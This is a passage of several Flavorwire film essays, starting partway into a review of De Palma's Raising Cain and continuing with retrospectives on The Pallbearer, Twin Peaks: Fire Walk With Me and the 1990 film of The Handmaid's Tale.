That’s the kind of little hint that De Palma loves to leave flapping in the breeze, while he attends to other matters. In the cast of the new Cain, that means following Jenny into her little affair, and the guilt, regret, and lust that follows, until the movie takes a hard right turn that reframes everything we think we know about Carter. (Well, okay, maybe that’s a little much – it’s John Lithgow in a Brian De Palma movie, so there’s a pretty good chance he’ll turn out to be evil.) It’s a diversion, of story and protagonist, similar to the one De Palma pulls with Angie Dickinson in Dressed to Kill (and that Hitchcock does with Janet Leigh in Psycho, the clear inspiration for both films).
Thus, the scene that reveals Carter’s true, deviant nature – in which he murders the mother of one of his kid’s playmates, while the toddlers snooze in the backseat – is a real rug-puller in the new cut. It was not so much in the original, theatrical version, where it was moved to the beginning of the movie, giving the audience a good, early jolt, but robbing us of Lithgow’s character turn (in that version, he’s nuts from the starter pistol), and making the Jenny scenes, when they arrive later, seem more incongruent and disconnected.
Instead, the screwy chronology of the director’s cut creates and maintains a perpetual state of uncertainty – we’re never quite sure what’s real and what’s fantasy, what’s past and what’s present, who’s awake and who’s dreaming, and if Carter’s twin (and later his father) are physical presences or figments of his imagination. The whole thing is so hazy and creepy that it could just be a nightmare, for Carter or Jenny, or even for her beau, who is deliciously set up to take the fall for Carter’s crimes.
It’s a tour de force performance for Lithgow, who’s clearly having a great time playing all these roles, sometimes with accompanying physical transformation, sometimes using only his voice and body language (he has an awe-inspiring scene, under hypnosis, as scared little boy “Josh”). This was his third collaboration with De Palma, who gives the actor ample opportunity to show off, and he doesn’t scrimp. It was also a reunion for the director and Baeur, who co-starred in Body Heat and Scarface, and though it was the filmmaker’s only collaboration with Davidovich, you can hardly tell; she has the devilish zestiness of his best heroines.
That comes in particularly handy in her early scenes, which replicate the charge of adultery – from a female perspective – that made Dressed to Kill so memorable. He also apes that movie’s blade-in-an-elevator scene, and then brings in an Untouchables baby carriage to boot. Oh, and when Frances Sternhagen arrives, about halfway through, to deliver a big slab of exposition and the rules for the rest of the movie, it’s done in a long, unbroken, multi-building Steadicam shot, similar to the masterful one that opened his otherwise unexceptional previous movie, The Bonfire of the Vanities.
In other words, the degree to which De Palma is quoting himself in Raising Cain is its own entertainment, a parlor game for fans (and, I suppose, detractors too). And to top it off, these are often double frames of reference: the undying De Palma dig is that he spent his whole career ripping off Hitchcock, so I’d like to think that when he quotes Psycho as directly as he does here (first with a scene pushing a dead-body-carrying car into swampy water, and then with a scene of a shrink explaining the killer’s split personality to the cops), he’s doing it with a wink, acknowledging that he knows we see him, and sees us too.
When Raising Cain was released that summer of 1992, De Palma was at a low point. His last feature, the 1990 adaptation of Tom Wolfe’s Bonfire, was an unmitigated critical and commercial disaster – so much so that it spawned a 1991 book, The Devil’s Candy, about its troubled production. Bonfire also found De Palma working in a style and tone not terribly familiar or comfortable, so as he so often has when an off-brand film failed, he immediately followed up with a more traditional De Palma picture, of the suspense/erotic thriller ilk. (He similarly chased Mission to Mars with Femme Fatale, and Redacted with Passion.) In fact, Cain was explicitly sold as such: the original marketing tagline was “De Mented. De Ranged. De Ceptive. De Palma.” And to that end, Raising Cain was a true “Brian De Palma movie,” in its purest form; the specifics change, but the subjects (and, often, the stylistic devices) stay the same. And this, more than any visual cues or narrative commonalities, is his real tie to Hitchcock, who spent most of his career revisiting the same themes, and building his narratives around the things he wanted to do with his camera. Movies don’t get much more De Palma than Raising Cain, and in its new and improved form, it can finally get the praise it deserves.
“Raising Cain” is available on Blu-ray from Shout Factory. The theatrical version is available for rental or purchase, but seriously, just see it the right way, don’t be a jerk.
http://flavorwire.files.wordpress.com/2017/07/raising-cain.jpg
Flavorwire
Careers in motion pictures don’t always proceed in orderly fashion from point A to B to C, but it’s still fairly wild that Matt Reeves, whose entries in the Planet of the Apes saga were so solid he was drafted to save Batman, made his feature directorial debut with a film mostly remembered as one of the many films that failed to turn the cast of Friends into movie stars. That film was The Pallbearer, a 1996 comedy/drama written off almost immediately as a second-rate rip-off of The Graduate; following its quick disappearance, Reeves spent a dozen years working in television before his next film, Cloverfield, which would plant him firmly in the realm of genre pictures he’s dwelled in since. So The Pallbearer is now a strange outlier, a bit of a false start for the future Apes-maker – but one worth revisiting, and even appreciating.

And it’s not just a starter movie for Reeves; he co-wrote with future Friday Night Lights and Parenthood adapter Jason Katims, who co-produced with Reeves’s frequent collaborator J.J. Abrams. Here and there, you’ll spot faces from their TV shows – Alias’s Michael Vartan pops up in a supporting role, and Abrams’s “good luck charm” Greg Grunberg appears in a wordless cameo. Reeves and Abrams developed Felicity after The Pallbearer, and the film opens with one of that show’s signature visuals: an uncertain protagonist walking the streets of New York in slow-motion, to soft pop music.
That protagonist is Tom Thompson (David Schwimmer), a recent college graduate who’s spent an aimless year living at home (there was much more shame wrapped up in this in the boom years of the late ‘90s) and is trying to finally get his life going. He’s not quite sure how; when a job interviewer asks where he sees himself in a year, he answers uncertainly: “Well on my way, sir. That’s where I see myself.” All around him, his friends are grown-ups, getting married and starting families; Tom can barely start a coherent sentence.

That uncertainty is perhaps why, when he’s contacted by Ruth Abernathy (Barbara Hershey) and asked to be a pallbearer for her son Bill, who recently committed suicide, Tom agrees – rather than admitting that he has no memory of Bill Abernathy whatsoever. And that situation snowballs when she subsequently asks him to deliver Bill’s eulogy. Reeves wrings some well-timed comedy-of-awkwardness out of the situation. There are dryly funny images of Tom and his friends (whom he’s begged to come, for moral support) wandering to their seats at this stranger’s funeral, approaching the casket in hope of some recognition, Tom opening his eulogy with the broad question, “Who is Bill Abernathy,” like a book report by someone who hasn’t done the reading. His friends snort and play those snorts off like weeping, but in the back of the chapel, Julie DeMarco looks at Tom in disappointment.
Julie DeMarco. He speaks her name like an incantation, the girl he loved in high school but never had the courage to speak to. She’s played by Gwyneth Paltrow, who was basically a contract player for Pallbearer distributor Miramax when the film was made, but she’s lovely and likable, even though it’s not the fullest character; we’re not sure exactly what she digs about Tom, especially when a truly terrible first date somehow prompts an almost-kiss. But a gentle sweetness eventually, credibly develops between them – though that explicit commonality with Friends did the film no comparative favors. Frankly, neither did Schwimmer, who chooses to basically play Tom as Ross Gellar with a Clooney-on-ER haircut.

But he handles several difficult moments well, chief among them the scene where the film plunges into Mrs. Robinson territory, as Tom and Mrs. Abernathy open themselves up to each other in a moment of mutual weakness. This is, needless to say, a very tricky bit of business, but it’s played with such delicacy, it works. Hershey finds the key to the character by honing in on her tentativeness and fragility – this is a beautiful woman who is aging, and suddenly unsure of herself. And, eventually, the focus becomes her anger and humiliation, which Reeves and Katims choose (wisely) to take seriously.
In fact, The Pallbearer does a full pivot into drama in the third act, which must’ve thrown audiences in 1996. But that places it much closer to the kind of work we expect from Reeves (and Katims, and Abrams) now. At its best, it sports a forgiving humanism – none of these people are all that bad, they’re just wounded and needy and uncertain. And luckily, the film has the right visual style to convey that grayness; the cinematographer is the great Robert Elswitt, who would go on to lens There Will Be Blood, Michael Clayton, and Good Night and Good Luck (among many others), so the striking, dreamlike visuals contrast with the flatness typical of ‘90s indie rom-coms. And honestly, it’s not really a rom-com anyway; it’s less a movie about Tom and Julie saving each other than one where they choose, finally, to save themselves. Or, as Tom’s pal asks him late in the movie: “What’s goin’ on here? Who are you these days?”
“The Pallbearer” is available for rental or purchase via Amazon, iTunes, and the usual platforms. It’s also streaming on DirecTV and Starz.
http://flavorwire.files.wordpress.com/2017/07/pallbearer1.jpg
Flavorwire
Special Agent Dale Cooper: “Sorry to wake you.”
Carl Rodd: “I was havin’ a bad dream anyway…”
– Dialogue from Twin Peaks: Fire Walk With Me
Variety’s big feature story on Showtime’s upcoming Twin Peaks revival is about as informative and exhaustive as one can be, considering the overwhelming secrecy of the work in question. Director David Lynch and his collaborators talk around the new season of the show without talking much about it, which makes the bits of hard information they do reveal all the more telling. So, understandably, fans of the filmmaker have seized upon this brief nugget:
One last clue from Lynch: The film “Twin Peaks: Fire Walk With Me,” he says, is very important to understanding what’s coming May 21.

More than that is not said – but saying that is saying a lot. Fire Walk With Me has always been one of the more complicated pieces of the Twin Peaks puzzle, a prequel/expansion film that was released barely a year after the conclusion of the series’ wobbly (to put it mildly) second and final season. Even before that year marker, it had premiered to general hostility at the Cannes Film Festival, where The New York Times’ Janet Maslin wrote, “Mr. Lynch’s taste for brain-dead grotesque has lost its novelty, and it now appears more pathologically unpleasant than cinematically bold”; Quentin Tarantino, the toast of the fest that year with Reservoir Dogs, sneered, “After I saw Twin Peaks: Fire Walk with Me at Cannes, David Lynch had disappeared so far up his own ass that I have no desire to see another David Lynch movie until I hear something different.” Notices were scarcely better when it hit theaters a few months later – the Times’ Vincent Canby sneered, “It’s not the worst movie ever made; it just seems to be,” and the Chicago Tribune’s Dave Kehr wrote, “For a film with a pre-established conclusion, Twin Peaks: Fire Walk With Me seems depressingly interminable.”
Time has been kinder to the film than those initial notices, which could very well be chalked up to critical unawareness of the series (there was much less crossover in those pre-Prestige TV days) – or, on the other extreme, the enmity towards the property that lingered in the aftermath of the spectacular crash-and-burn of its second season. That year started off well, picking up the “Who Killed Laura Palmer” mystery from the abbreviated first season and bringing it to a bizarre but satisfying conclusion, but once that initial score was settled, the show had nowhere to go but into a soup of free-form weirdness that quickly alienated viewers and critics. Creators Lynch and Mark Frost had left the show in other hands that season, but Lynch returned to direct its final episode, slamming the show’s desperately disparate elements together whether they fit or not, to create an hour of television both comically bizarre and deeply disturbing. Much of the second season is best forgotten, but not that conclusion; in fact, its style and tone is closer to Fire Walk With Me than almost anything before it in the series.
Once that episode put the show back into his bloodstream, Lynch said, “I couldn’t get myself to leave the world of Twin Peaks.” So he and co-writer Robert Engels (but not, significantly, series co-creator Frost) scripted a film that dramatized the last week of Palmer’s life, and connected it to another crime a year earlier. He found financing outside the studio system, via a French producer, and brought back much of the original series cast – plus ringers like David Bowie, Chris Isaak, Harry Dean Stanton, and Kiefer Sutherland, and with Moira Kelly subbing in for Lara Flynn Boyle. (Worst part of the movie: no Audrey Horne. Best part of the movie: No Lucy and Andy.)

It opens, unsubtly enough, with an axe going into a television, before spinning off into the extended, barely-connected prologue in which Lynch himself is our only direct link to the series. It’s a good 25 minutes before Kyle MacLachlan and Miguel Ferrer show up (along with such familiar elements as Bob, the Dwarf, and people talking backwards in the red room); finally, at 33 minutes, we’re greeted with the Twin Peaks town sign, Angelo Badalamenti’s dreamy theme, and Laura Palmer, brought back to life by Sheryl Lee.
The early scenes almost feel like a bait-and-switch – we’re edgy, even beyond the events onscreen, because we’re waiting for all the Twin Peaks people the credits promised. (Not all of this was purposeful – the main character in these scenes, Isaak’s Special Agent Chester Desmond, was initially written as Cooper, until MacLachlan first passed on the project and then returned under the condition of a reduced role.) But even in those early passages, Lynch’s aim is to unsettle. In one indicative scene, Isaak’s Agent Desmond and Sutherland’s Agent Stanley conduct a terse interview under an unexplained flickering light; only in the wide shot of their exit from the room do we see that the cause of the distraction is merely a light bulb that needs replacing.
Things get far more sinister once sexed-and-coked-out Laura takes center stage, and Lynch dumps out his loaded toolbox to transport us into her disturbed world. There’s a sense of scorching desperation in the Canadian dive bar scene – red lights, bare bodies, spiked drinks and dead people – and strangeness to the film’s mood and style. It’s an odd hybrid of film and television show that feels like neither, since it keeps using the devices of each medium to keep the other at bay; Lynch fades in and out of black at regular intervals, like he’s going to commercial breaks, but presents unairable depictions of depravity between them.

What was new for Lynch in Fire Walk With Me was its tone. He’d always made strange films (few things on this earth are more bizarre than Eraserhead), but here, via the assaultive sound design, the terrifying beauty of his nightmarish imagery, and the hallucinogenic layering of said images, you can see him tipping towards the specific kind of formal experimentation that would flow through Lost Highway, Mulholland Dr., and Inland Empire. He’s approaching this material much differently than even in his first, hands-on season of the show; it’s played without the quotation marks of Twin Peaks proper (or even Blue Velvet). There is nothing funny about the incestuous rape of Laura Palmer, and as she shrieks “who are you” and realizes who it is, Lynch refuses to shrink from that moment’s implications with an easy wink.
Ray Wise, as the man committing that unthinkable crime, turns in another brilliant, seven-layer performance, monster one moment and weeping patriarch the next (and Lynch, to his credit, lets the camera capture the moments when one gives way to the other). Lee’s is one of those performances that’s either brilliant or terrible; it’s hard to pinpoint which, and maybe it’s both. She comes up a little short in the scenes of everyday conversation, but she can sure sell the demon shrieks, and it’s hard to imagine even the most seasoned of actors could deliver the same gooseflesh she does in the film’s closing scenes.
By the time those scenes arrive, in all their horror, tragedy, and terror, the accumulation of Lynch’s vision finally becomes clear, and the story feels complete – so much so, in fact, that it’s hard to envision how the new series can feel like more than an afterthought. Then again, it’s never wise to underestimate David Lynch.
“Twin Peaks: Fire Walk With Me” is currently streaming on Showtime Anytime and is available for purchase and rental via Amazon, iTunes, and the usual platforms.
http://flavorwire.files.wordpress.com/2017/05/twin-peaks1.jpeg
Flavorwire
You don’t need an MBA from Harvard to guess why Shout Factory not only selected Volker Schlöndorff’s The Handmaid’s Tale as the latest title in their Shout Selects line, but chose to put it out this week. We are, after all, just days from the debut of new Hulu series adaptation of Margaret Atwood’s book, and there is a new audiobook (with expanded material — potentially even teasing a sequel); The Handmaid’s Tale is, for lack of a better word, hot right now. But it’s also remained an unfortunately relevant piece of work – and though the earlier film version has to (understandably) skim some of that subtext, it’s still a reasonably successful piece of work.
And it comes with a good pedigree: director Schlöndorff helmed The Lost Honor of Katharina Blum and the 1979 Palme d’or winner The Tin Drum, so he knows a thing or two about political cinema, and the adaptation is credited to the great Harold Pinter. His original script was reportedly reworked greatly (much to his vocal displeasure), but enough of his blunt intelligence, coupled with Atwood’s forceful commentary and allegory, shines through.

Set at unspecified point in the future, in which the United States has become “The Republic of Gilead,” the film begins with Kate (Natasha Richardson) attempting a border crossing to Canada with her husband and daughter. But their immigration is blocked by the brutal border patrol, and they’re tossed into a camp, where health tests identify Kate as fertile; one of only 1% of the population that can conceive a child, a side effect of overwhelming pollution. “You’re the lucky ones!” she and her fellow “handmaids” are told by “Aunt Lydia” (Victoria Tennant), who will prepare them for their new roles. “You’re going to serve God and your country.”
After a period of shaming and indoctrination (they’re forced to pray to God to “make us all fruitful”), our heroine gets her assignment. She is sent to the home of Serena (Faye Dunaway) and her husband, referred to only as “The Commander” (Robert Duvall –“And Robert Duvall as The Commander,” by the way, is an all-time great opening credit, for reasons I can’t even articulate). As their household handmaid, she is to part of a rather unfortunate three-person sex situation (called “The Ceremony”), in which the husband attempts to impregnate the handmaid, while the wife participates as best she can. It seems pretty miserable for all parties.
But there’s an uprising in the offing, and Kate is game – especially since The Commander keeps insisting on unofficial encounters, without his wife there, filled with clumsy passes and forced pleasantries. She becomes involved with his driver, a smoldering, buzz-cut Aidan Quinn (their sex scenes feel very much like the movie trying to have it both ways), and she finds herself with a way out, albeit a risky one.

This Handmaid’s Tale never found an audience, perhaps due to the growing pains of upstart (and short-lived) producers Cinecom Entertainment Group, or the ongoing struggles of can’t-catch-a-break distributors MGM (or perhaps it was the hilariously ill-conceived print campaign that tried to make it look like, not making this up, an erotic thriller); its widest release was on 177 screens, and its domestic gross topped out just shy of $ 5 million. Then again, the early ‘90s were also not exactly a robust period in political cinema, and the influence of the Moral Majority – so clearly felt in Atwood’s text – wasn’t as pronounced in the Bush I White House as it had been in Reagan’s.
But, sadly, it sure is now. With Trump (who in January prohibited funding of international organizations that provide family planning, and just this week proudly signed a bill allowing states to cut funding to Planned Parenthood) in the White House, these are dangerous times for reproductive autonomy. And with an Evangelical nutjob who only sees women as baby ovens in the VP’s office, a line like “We pledge allegiance to the Bible, the Old Testament shall be our sole and only Constitution” doesn’t sound like dystopian science fiction; it sounds like a Heritage Foundation position paper. (Meanwhile, the propagandistic TV news, in which an anchor insists “We are winning God’s fight,” looks like a clip from Thursday night’s Hannity.) “We will not rest until we’ve purified this country in the name of God,” the Commander insists. It probably sounded like hyperbole back in 1990.
“The Handmaid’s Tale” is out on Blu-ray tomorrow from Shout Select. It’s also available for download via Amazon.
http://flavorwire.files.wordpress.com/2017/04/handmaid2.jpeg
Flavorwire